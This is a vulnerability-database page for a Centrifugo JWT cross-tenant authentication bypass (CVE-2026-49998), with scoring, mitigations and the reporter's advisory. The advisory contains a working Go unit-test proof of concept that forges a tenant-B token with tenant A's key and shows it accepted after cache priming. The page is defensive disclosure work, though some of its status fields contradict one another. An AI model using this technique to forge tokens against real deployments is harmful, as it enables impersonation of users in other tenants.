Skip to main content

Centrifugo CVE-2026-49998

| EUVDEUVD-2026-45015 HIGH
Improper Verification of Cryptographic Signature (CWE-347)
2026-07-01 https://github.com/centrifugal/centrifugo GHSA-g6vg-wj8f-48cj
8.2
CVSS 3.1 · Vendor: https://github.com/centrifugal/centrifugo
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain valid token for controlled tenant A
  2. Delivery
    Authenticate tenant A to prime JWKS cache under shared kid
  3. Exploit
    Forge tenant-B token signed with tenant A key
  4. Execution
    Submit forged token to VerifyConnectToken/VerifySubscribeToken
  5. Persist
    Cached tenant-A key validates signature
  6. Impact
    Accepted as tenant-B user cross-tenant

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A04:2025 - Cryptographic Failures
ASVS 5.0
V11 - Cryptography Signature verification
Exploitation Conditions

Exploitation requires the deployment to have client.token.jwks_public_endpoint or client.subscription_token.jwks_public_endpoint set to a templated JWKS URL whose variables are derived from the JWT 'iss' or 'aud' claims (a documented multi-issuer dynamic JWKS configuration) - this is not the default and is the primary precondition. The attacker must be able to obtain or mint a valid token for at least one allowed issuer/tenant (hence PR:L, authenticated), and both the attacker's tenant JWKS document and the victim tenant's JWKS document must publish the same 'kid' value. Additionally the attacker's (tenant A) key must be cached before the victim tenant's key is ever fetched, so the attack is timing/order-dependent (contributing to AC:H); an attacker can often force this by authenticating their own tenant first. Limiting factors: single-endpoint or static-key JWKS setups are not affected, tenants using distinct 'kid' values are not affected, and the issuer-template regex must accept both tenant names (the validator restricts placeholders to finite literal alternatives, so arbitrary endpoint substitution is not possible).

Impact

The provided CVSS 3.1 vector (AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N, 8.2 High) is internally consistent with the description: network-reachable, requires low privileges (a valid token for one tenant), high attack complexity (both JWKS documents must share a 'kid' and the attacker's key must be cached first - a state/ordering dependency), no user interaction, and a scope change reflecting cross-trust-domain impact with high confidentiality and integrity impact but no availability impact. No EPSS score and no KEV status were provided, so real-world exploitation probability cannot be quantified from the input; treat this as 'no public exploit identified as actively used' rather than assuming widespread attacks. A working PoC (a self-contained unit test) does exist, which raises reproducibility confidence, but PoC availability is distinct from active exploitation and should not be conflated. The realistic priority is elevated only for deployments that actually run the multi-issuer dynamic JWKS configuration; for the majority of Centrifugo deployments using static keys or a single JWKS endpoint, the vulnerable path is not reachable, so this is a high-severity-but-narrow-precondition issue rather than a broadly weaponizable one. Note the ordering caveat: exploitation depends on cache priming order, which an attacker can often influence by authenticating their own tenant first, partially offsetting the AC:H rating.

Exploit ScenarioDerived

In a multi-tenant Centrifugo deployment where the JWKS URL is templated from the token's issuer (e.g. https://host/{{tenant}}/jwks.json) and tenants A and B both publish keys under 'kid':'default', an attacker who legitimately controls tenant A first authenticates a normal token, priming Centrifugo's cache with tenant A's key under that shared 'kid'. The attacker then submits a connection or subscription token claiming issuer 'tenant-b' but signed with tenant A's private key; the verifier reuses the cached tenant-A key, the signature validates, and the attacker is accepted as a tenant-B user. A reproducible unit-test PoC demonstrating exactly this cache-priming bypass is publicly available.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 01, 2026

Cross-tenant JWT authentication bypass in Centrifugo (v3 through v6) lets an attacker holding a valid token for one allowed issuer/tenant authenticate as a different issuer/tenant when the server uses dynamic JWKS endpoint templates. The flaw stems from the JWKS cache and singleflight lookup being keyed only by the JWT header 'kid', so a key fetched for tenant A is reused to verify a token claiming tenant B whenever both JWKS documents share the same 'kid' and tenant A's key is cached first. Publicly available exploit code exists in the form of a reporter-supplied Go unit-test PoC; there is no evidence of active exploitation, and the CVSS base score is 8.2 (AC:H, PR:L, scope-changed).

RemediationAI

No vendor-released patched version is identified in the provided data - consult the GitHub Security Advisory GHSA-g6vg-wj8f-48cj (https://github.com/centrifugal/centrifugo/security/advisories/GHSA-g6vg-wj8f-48cj) for the fixed release and upgrade to it once published. The reporter's recommended fix is to scope JWKS cache entries and singleflight keys to the resolved JWKS trust domain rather than to 'kid' alone, using a composite key such as resolved_jwks_url + "\x00" + kid across TTL cache reads, TTL cache writes, and singleflight.Group.Do keys. As an immediate compensating control until a fixed build is deployed, stop using a single templated JWKS endpoint that spans multiple trust domains: replace the dynamic {{tenant}}-style endpoint with per-issuer static JWKS configuration or separate verifier instances so each tenant has an isolated key namespace (trade-off: loss of the convenience of one templated endpoint and more configuration to manage). Where dynamic templating must remain, require globally unique 'kid' values across all tenant JWKS documents and enforce this operationally (trade-off: depends on issuer discipline and breaks if any tenant reuses labels like 'default' or 'current'). You may also disable JWKS caching if the deployment can tolerate the added latency and load of fetching keys per verification, which removes the cross-tenant cache-hit condition (trade-off: increased load on issuer JWKS endpoints and higher verification latency).

Affected VersionsENISA

centrifugo < 6.8.1

Affected Packages

go github.com/centrifugal/centrifugo no fix
go github.com/centrifugal/centrifugo/v3 no fix
go github.com/centrifugal/centrifugo/v4 no fix
go github.com/centrifugal/centrifugo/v5 no fix
go github.com/centrifugal/centrifugo/v6 fix: 6.8.1
euvd centrifugo fix: 6.8.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 6 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected component is Centrifugo's JWT verification manager (internal/jwtverify and internal/jwks), specifically the dynamic JWKS endpoint feature that templates a JWKS URL from JWT 'iss' or 'aud' claims via client.token.jwks_public_endpoint and client.subscription_token.jwks_public_endpoint. To resolve the templated endpoint, the verifier must parse the token claims BEFORE signature verification, extract template variables, fetch the signing key, and only then validate claims. The root cause maps to CWE-347 (Improper Verification of Cryptographic Signature): in internal/jwks/manager.go the FetchKey/singleflight path and the TTL cache (cache_ttl.go) store and retrieve keys solely by 'kid', ignoring the resolved JWKS URL, issuer, audience, or trust-domain namespace. Because 'kid' values are operational labels (e.g. 'current', 'default', rotation identifiers) that the JWK specification does not require to be globally unique, keying trust solely on 'kid' collapses independent trust domains into one shared key namespace. JWTs are attacker-controlled and reach the vulnerable path through VerifyConnectToken (connection tokens) and VerifySubscribeToken (subscription and subscription-refresh tokens).

Know when Jwt Attack gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/centrifugal/centrifugo) PRIMARY 8.2 HIGH
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N
vuln.today AI 8.2 HIGH

PR:L because a valid single-tenant token is required; AC:H due to shared-kid and cache-priming ordering prerequisites; S:C and C:H/I:H for cross-tenant compromise; A:N as availability is unaffected.

3.1 AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N
4.0 AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
SUSE HIGH

Primary rating from Vendor (https://github.com/centrifugal/centrifugo).

CVSS VectorVendor: https://github.com/centrifugal/centrifugo

Attack Vector
Network
Attack Complexity
High
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

DescriptionCVE.org

Summary

Centrifugo's dynamic JWKS endpoint feature can verify a JWT for one allowed issuer using a public key cached from another allowed issuer. The JWKS cache and singleflight lookup are keyed only by the JWT header kid, not by the resolved JWKS endpoint, issuer, audience, or other trust-domain namespace.

In a documented multi-issuer dynamic JWKS configuration, an attacker who can obtain or mint a valid token for issuer/tenant A can authenticate as issuer/tenant B if both JWKS documents use the same kid value and tenant A's key is cached first. This affects connection token verification and subscription token verification because both paths use the same JWKS verification manager.

Details

The vulnerable path is reachable when either of these shipped configuration options is set to a templated JWKS URL using values derived from JWT iss or aud claims:

  • client.token.jwks_public_endpoint
  • client.subscription_token.jwks_public_endpoint

Relevant shipped config fields are defined in internal/configtypes/types.go:59-65, mapped into verifier configuration in internal/confighelpers/jwt.go:36-41, and exposed in the generated config schema at internal/cli/configdoc/schema.json:3927, 3947, 3967, 3987, 4069, 4089, 4109, and 4129. Dynamic JWKS endpoints based on iss and aud are documented in the project changelog at CHANGELOG.md:107.

External clients control JWT connection and subscription tokens:

  • Connection tokens reach VerifyConnectToken from internal/client/handler.go:350-352.
  • Normal subscription tokens reach VerifySubscribeToken from internal/client/handler.go:769-775.
  • Subscription refresh tokens reach VerifySubscribeToken from internal/client/handler.go:628-632.

The verifier must parse token claims before signature verification to resolve the dynamic JWKS endpoint:

  • VerifyConnectToken parses without verification at internal/jwtverify/token_verifier_jwt.go:528-535, extracts template variables before signature verification at internal/jwtverify/token_verifier_jwt.go:539-548, then validates claims only after signature verification at internal/jwtverify/token_verifier_jwt.go:557-560.
  • VerifySubscribeToken follows the same pattern at internal/jwtverify/token_verifier_jwt.go:700-732.

The problem is that the JWKS cache lookup ignores the endpoint/trust domain selected by those token variables. internal/jwtverify/token_verifier_jwt.go:242-245 passes only the JWT header kid plus token-derived variables to the JWKS manager:

go
func (j *jwksManager) verify(token *jwt.Token, tokenVars map[string]any) error {
    kid := token.Header().KeyID

    key, err := j.Manager.FetchKey(context.Background(), kid, tokenVars)

internal/jwks/manager.go:96-117 checks cache and singleflight using only kid:

go
func (m *Manager) FetchKey(ctx context.Context, kid string, tokenVars map[string]any) (*JWK, error) {
    if kid == "" {
        return nil, ErrKeyIDNotProvided
    }

    if m.useCache {
        key, err := m.cache.Get(kid)
        if err == nil {
            return key, nil
        }
    }

    v, err, _ := m.group.Do(kid, func() (any, error) {
        return m.fetchKey(ctx, kid, tokenVars)
    })

The resolved JWKS URL is computed only later in internal/jwks/manager.go:133-149:

go
func (m *Manager) fetchKey(ctx context.Context, kid string, tokenVars map[string]any) (*JWK, error) {
    jwkURL := m.url.ExecuteString(tokenVars)
    ...
    req, err := http.NewRequestWithContext(ctx, http.MethodGet, jwkURL, nil)

The TTL cache also stores and retrieves keys only by kid at internal/jwks/cache_ttl.go:82-101:

go
func (tc *TTLCache) Add(key *JWK) error {
    ...
    tc.items[key.Kid] = item
}

func (tc *TTLCache) Get(kid string) (*JWK, error) {
    ...
    item, ok := tc.items[kid]

As a result, a key fetched from tenant A's JWKS endpoint can be reused to verify a token claiming tenant B before tenant B's JWKS endpoint is consulted.

I also reviewed the template safety mitigation in internal/jwtverify/validate.go:99-154. It restricts placeholder regex groups to finite literal alternatives, which helps prevent arbitrary endpoint substitution, but it does not scope cached keys by the resolved endpoint or issuer/audience namespace. The PoC uses a validator-accepted issuer regex: ^(?P<tenant>tenant-a|tenant-b)$.

PoC

This is a safe local-only unit test using httptest.Server and generated RSA key pairs. It does not contact external systems.

From a clean checkout of centrifugal/centrifugo at commit 458ee0500f046877d7e8375e32f5e842bc95535b, add this file as internal/jwtverify/jwks_cache_poc_test.go:

go
package jwtverify

import (
    "crypto/rsa"
    "encoding/json"
    "net/http"
    "net/http/httptest"
    "sync/atomic"
    "testing"
    "time"

    "github.com/centrifugal/centrifugo/v6/internal/config"

    "github.com/cristalhq/jwt/v5"
    "github.com/stretchr/testify/require"
)

func writeRSAJWKS(t *testing.T, w http.ResponseWriter, pubKey *rsa.PublicKey, kid string) {
    t.Helper()
    resp := map[string]any{
        "keys": []map[string]string{
            {
                "alg": "RS256",
                "kty": "RSA",
                "use": "sig",
                "kid": kid,
                "n":   encodeToString(pubKey.N.Bytes()),
                "e":   encodeUint64ToString(uint64(pubKey.E)),
            },
        },
    }
    w.Header().Set("Content-Type", "application/json")
    require.NoError(t, json.NewEncoder(w).Encode(resp))
}

func getRSAIssuerConnToken(t *testing.T, user string, issuer string, rsaPrivateKey *rsa.PrivateKey, kid string) string {
    t.Helper()
    signer, err := jwt.NewSignerRS(jwt.RS256, rsaPrivateKey)
    require.NoError(t, err)
    builder := jwt.NewBuilder(signer, jwt.WithKeyID(kid))
    claims := &ConnectTokenClaims{
        Base64Info: "e30=",
        RegisteredClaims: jwt.RegisteredClaims{
            Subject:   user,
            Issuer:    issuer,
            ExpiresAt: jwt.NewNumericDate(time.Now().Add(time.Hour)),
        },
    }
    token, err := builder.Build(claims)
    require.NoError(t, err)
    return token.String()
}

func TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC(t *testing.T) {
    const kid = "shared-kid"

    tenantAPrivateKey, tenantAPublicKey := generateTestRSAKeys(t)
    tenantBPrivateKey, tenantBPublicKey := generateTestRSAKeys(t)

    var tenantARequests int32
    var tenantBRequests int32

    ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        switch r.URL.Path {
        case "/tenant-a/jwks.json":
            atomic.AddInt32(&tenantARequests, 1)
            writeRSAJWKS(t, w, tenantAPublicKey, kid)
        case "/tenant-b/jwks.json":
            atomic.AddInt32(&tenantBRequests, 1)
            writeRSAJWKS(t, w, tenantBPublicKey, kid)
        default:
            http.NotFound(w, r)
        }
    }))
    defer ts.Close()

    cfg := config.DefaultConfig()
    cfgContainer, err := config.NewContainer(cfg)
    require.NoError(t, err)

    newVerifier := func() *VerifierJWT {
        verifier, err := NewTokenVerifierJWT(VerifierConfig{
            JWKSPublicEndpoint: ts.URL + "/{{tenant}}/jwks.json",
            IssuerRegex:        `^(?P<tenant>tenant-a|tenant-b)$`,
        }, cfgContainer)
        require.NoError(t, err)
        return verifier
    }

    legitimateTenantAToken := getRSAIssuerConnToken(t, "tenant-a-user", "tenant-a", tenantAPrivateKey, kid)
    legitimateTenantBToken := getRSAIssuerConnToken(t, "tenant-b-user", "tenant-b", tenantBPrivateKey, kid)
    forgedTenantBToken := getRSAIssuerConnToken(t, "victim", "tenant-b", tenantAPrivateKey, kid)

    ct, err := newVerifier().VerifyConnectToken(legitimateTenantBToken, false)
    require.NoError(t, err)
    require.Equal(t, "tenant-b-user", ct.UserID)

    _, err = newVerifier().VerifyConnectToken(forgedTenantBToken, false)
    require.Error(t, err)

    verifier := newVerifier()
    ct, err = verifier.VerifyConnectToken(legitimateTenantAToken, false)
    require.NoError(t, err)
    require.Equal(t, "tenant-a-user", ct.UserID)

    tenantBRequestsBeforeForge := atomic.LoadInt32(&tenantBRequests)
    ct, err = verifier.VerifyConnectToken(forgedTenantBToken, false)
    require.NoError(t, err)
    require.Equal(t, "victim", ct.UserID)
    require.Equal(t, tenantBRequestsBeforeForge, atomic.LoadInt32(&tenantBRequests))
}

Run the focused test with the project-supported Go toolchain:

bash
go test ./internal/jwtverify -run TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC -count=1 -v

Observed vulnerable output in my local test environment using Go 1.26.3:

text
=== RUN   TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC
{"level":"info","endpoint":"http://127.0.0.1:32811/%7B%7Btenant%7D%7D/jwks.json","time":"2026-05-21T23:49:28+07:00","message":"JWKS manager created"}
{"level":"info","endpoint":"http://127.0.0.1:32811/%7B%7Btenant%7D%7D/jwks.json","time":"2026-05-21T23:49:28+07:00","message":"JWKS manager created"}
{"level":"info","endpoint":"http://127.0.0.1:32811/%7B%7Btenant%7D%7D/jwks.json","time":"2026-05-21T23:49:28+07:00","message":"JWKS manager created"}
--- PASS: TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC (0.07s)
PASS
ok  	github.com/centrifugal/centrifugo/v6/internal/jwtverify	0.088s

The passing test demonstrates the vulnerable behavior because it asserts these controls:

  1. A legitimate tenant-B token signed by tenant B succeeds with a fresh verifier.
  2. A forged tenant-B token signed by tenant A fails with a fresh verifier.
  3. A legitimate tenant-A token succeeds and primes the JWKS cache with tenant A's shared-kid key.
  4. The forged tenant-B token signed by tenant A then succeeds with user ID victim.
  5. The tenant-B JWKS request counter does not increase during forged verification, proving the forged token was accepted from the cross-tenant cache hit rather than from tenant B's JWKS endpoint.

Expected behavior after a fix: the forged tenant-B token should remain rejected after tenant A primes the cache, or the verifier should fetch/consult tenant B's independent JWKS cache namespace before verification.

Impact

This is a cross-issuer / cross-tenant JWT authentication bypass in dynamic JWKS deployments.

Impacted deployments are those that use dynamic JWKS endpoint templates to select different JWKS URLs for different allowed issuers or audiences, for example multi-tenant deployments using {{tenant}} values extracted from iss or aud.

An attacker who can obtain or mint a valid token for one allowed issuer/tenant can authenticate as another allowed issuer/tenant if both JWKS documents use the same kid value and the attacker's issuer key is cached first. kid values are not globally unique by specification and are often operational labels such as current, default, or rotation identifiers, so the verifier should not rely on kid uniqueness across different JWKS trust domains.

Potential consequences include:

  • Authentication as a user in another issuer/tenant namespace.
  • Unauthorized connection-token acceptance.
  • Unauthorized subscription-token acceptance where separate subscription JWTs are configured.
  • Cross-tenant confidentiality and integrity impact when issuer-derived JWKS endpoints are used as separate trust domains.
Suggested remediation

Scope JWKS cache entries and singleflight keys to the resolved JWKS trust domain, not only to the JWT kid.

For dynamic endpoints, compute the endpoint namespace before cache lookup and use a composite cache key such as:

text
resolved_jwks_url + "\x00" + kid

or an equivalent canonical trust-domain identifier plus kid.

The same composite namespace should be used for:

  • TTL cache lookup.
  • TTL cache storage.
  • singleflight.Group.Do keys.

A regression test should prime tenant A's cache and then verify that a forged tenant-B token signed by tenant A remains rejected.

Executive ViewAI

Why It Matters

Centrifugo versions 3-6 contain a cross-tenant authentication bypass that allows an authenticated user holding a valid token for one tenant to impersonate other tenants when dynamic JWKS endpoint templates are enabled. Organizations running affected versions with multi-tenant deployments face a data isolation breach risk; no vendor patch is currently available, requiring immediate architectural review and interim controls.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) disable dynamic JWKS endpoint templates and move to static, per-tenant JWKS configuration; (2) implement additional tenant-context validation at the application layer independent of JWT verification; (3) deploy monitoring and alerting for cross-tenant token reuse patterns; (4) restrict Centrifugo access by IP/network if deployment topology allows.

Threat Intelligence Overview

EPSS Score
0.3%
Top 82% exploitable
Prevalence
Low
niche open-source real-time messaging server, modest production footprint
Threat Intel
1
1 source
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

41
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +41
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

CVE-2013-3900 MEDIUM
5.5 Dec 11

Why is Microsoft republishing a CVE from 2013? We are republishing CVE-2013-3900 in the Security Update Guide to update

CVE-2026-48558 CRITICAL POC
9.5 Jun 12

Authentication bypass in SimpleHelp 5.5.15 and prior (plus 6.0 pre-release builds) allows remote unauthenticated attacke

CVE-2026-5430 CRITICAL POC
10.0 Aug 06

Authentication bypass in WSO2 API Manager and related components (Universal Gateway, Traffic Manager, API Control Plane,

CVE-2025-59718 CRITICAL
9.8 Dec 09

Authentication bypass in Fortinet FortiOS, FortiProxy, and FortiSwitchManager allows unauthenticated remote attackers to

CVE-2025-25291 CRITICAL POC
9.3 Mar 12

ruby-saml provides security assertion markup language (SAML) single sign-on (SSO) for Ruby. Rated critical severity (CVS

CVE-2026-47304 CRITICAL POC
9.8 Jul 14

Security feature bypass in Microsoft .NET (shipped via Visual Studio 2022 17.12/17.14 and Visual Studio 2026 18.7) lets

CVE-2025-25292 CRITICAL POC
9.3 Mar 12

ruby-saml provides security assertion markup language (SAML) single sign-on (SSO) for Ruby. Rated critical severity (CVS

CVE-2022-25898 CRITICAL POC
9.8 Jul 01

The package jsrsasign before 10.5.25 are vulnerable to Improper Verification of Cryptographic Signature when JWS or JWT

CVE-2026-107722 CRITICAL POC
9.8 Oct 08

Authentication and authorization bypass in fast-jwt 6.2.0 through 6.2.4 (npm, NearForm) lets a remote, unauthenticated a

CVE-2024-42004 CRITICAL POC
9.8 Dec 18

A library injection vulnerability exists in Microsoft Teams (work or school) 24046.2813.2770.1094 for macOS. Rated criti

CVE-2024-41145 CRITICAL POC
9.8 Dec 18

A library injection vulnerability exists in the WebView.app helper app of Microsoft Teams (work or school) 24046.2813.27

CVE-2024-41138 CRITICAL POC
9.8 Dec 18

A library injection vulnerability exists in the com.microsoft.teams2.modulehost.app helper app of Microsoft Teams (work

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy